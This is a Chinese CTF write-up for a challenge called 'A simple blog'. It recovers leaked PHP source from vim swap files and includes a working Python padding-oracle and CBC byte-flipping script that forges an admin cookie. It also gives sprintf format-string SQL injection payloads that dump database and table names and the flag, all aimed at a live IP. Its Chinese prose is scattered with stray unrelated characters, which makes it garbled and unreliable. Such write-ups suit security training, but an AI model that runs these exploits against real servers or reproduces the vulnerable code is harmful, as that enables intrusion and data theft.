Task
A simple blog .To discover the secret of it.
http://111.231.111.54/
Solution
源碼泄露
http://111.231.111.54/.login.php.swp
http://111.231.111.54/.admin.php.swp
下載下來后梳猪，用vim -r恢復(fù)棉安，得到源代碼：
login.php
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
echo '省略';
}
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>
admin.php
<?php
error_reporting(0);
session_start();
include('config.php');
if(!$_SESSION['isadmin']){
die('You are not admin');
}
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>
經(jīng)過測試芯咧，存在賬號和密碼，分別為admin和admin夏醉。在login.php頁面登陸后會跳轉(zhuǎn)到admin.php。默認(rèn)情況下腮鞍，由于并非真實(shí)admin嫌褪，在跳轉(zhuǎn)后會顯示you are not admin.
CBC翻轉(zhuǎn)字節(jié)攻擊
image.png
參考：
初學(xué)Padding Oracle Attack-----重點(diǎn)看這個(gè)
CBC字節(jié)翻轉(zhuǎn)攻擊
CBC字節(jié)翻轉(zhuǎn)攻擊-101Approach
腳本：
import requests
import base64
url='http://111.231.111.54/login.php'
N=16
def inject_token(token):
header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
result=requests.post(url,headers=header)
return result
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)
def padding_oracle(N):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding
result=inject_token(base64.b64encode(c))
if "Error!" not in result.content:
get=chr(j^i)+get
break
return get
def login(url):
payload = {
"username":"admin",
"password":"admin"
}
coo1 = {
"PHPSESSID":"j297k7o6d8stcbvi2c23naj5j6"
}
r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
token = r.headers['Set-Cookie'].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
session = "j297k7o6d8stcbvi2c23naj5j6"
return session, token
while 1:
phpsession,token = login(url)
middle1=padding_oracle(N)
print middle1
print "\n"
if(len(middle1)+1==16):
for i in xrange(0,256):
middle=chr(i)+middle1
print "token:"+token
print "middle:"+middle
plaintext=xor(middle,token);
print "plaintext:"+plaintext
des=pad('admin',N)
tmp=""
print des.encode("base64")
for i in xrange(16):
tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
print tmp.encode('base64')
result=inject_token(base64.b64encode(tmp))
# print result.content
if "Login Form" not in result.content and "Error" not in result.content:
print result.content
print "success"
exit()
image.png
image.png
格式化串sql注入
spintf（），是一個(gè)格式化字符串函數(shù)祈搜，傳入的字符可覆蓋自身參數(shù)
參考：
WordPress SQLi談PHP格式化字符串問題
本地測試：
<?php
// 注format中较店，為防止 $ 被轉(zhuǎn)義，在前面加了轉(zhuǎn)義符容燕。對于sprintf來說梁呈，即 %1$s
$format1 = "hello,%1\$s one<br/>";
$format2 = "hello,%2\$s two<br/>";
$format3 = "hello,%1\$\' three<br/>";
$format4 = "hello,%\$\' four<br/>";
print_r("format string 1 : ".$format1);
print_r("Result: ".sprintf($format1,"chybeta-1","chybeta-2"));
print_r("format string 2 : ".$format2);
print_r("Result: ".sprintf($format2,"chybeta-1","chybeta-2"));
print_r("format string 3 : ".$format3);
print_r(sprintf($format3,"chybeta-1","chybeta-2"));
print_r("format string 4 : ".$format4);
print_r(sprintf($format4,"chybeta-1","chybeta-2"));
?>
image.png
前兩個(gè)示例是演示選擇參數(shù)的用法。第三個(gè)和前兩個(gè)比較蘸秘，變成類型%\官卡，會直接跳過不處理，并直接輸出醋虏。第四個(gè)和第三個(gè)對比寻咒，少了參數(shù)選擇，這會導(dǎo)致報(bào)錯(cuò)颈嚼，無法正常打印
通過百分號后的1毛秘，選擇了一個(gè)參數(shù)（即id）不會爆錯(cuò)。利用類型%\阻课，使得跳過叫挟。而原本在\后面的單引號，由于前面斜杠被當(dāng)作了sprintf的類型限煞，得以成功逃逸抹恳。
剩下的工作就是盲注了.
id=3&title=%1$ 'union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname,@@datadir)#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(table_name)) from information_schema.tables where table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(column_name)) from information_schema.columns where table_name=0x6b6579 and table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(f14g)) from web1.key#
數(shù)據(jù)庫：web1
表名:key
字段名:f14g
image.png
小結(jié)
~··源碼泄露
~··CBC翻轉(zhuǎn)字節(jié)攻擊
~··格式化串sql注入
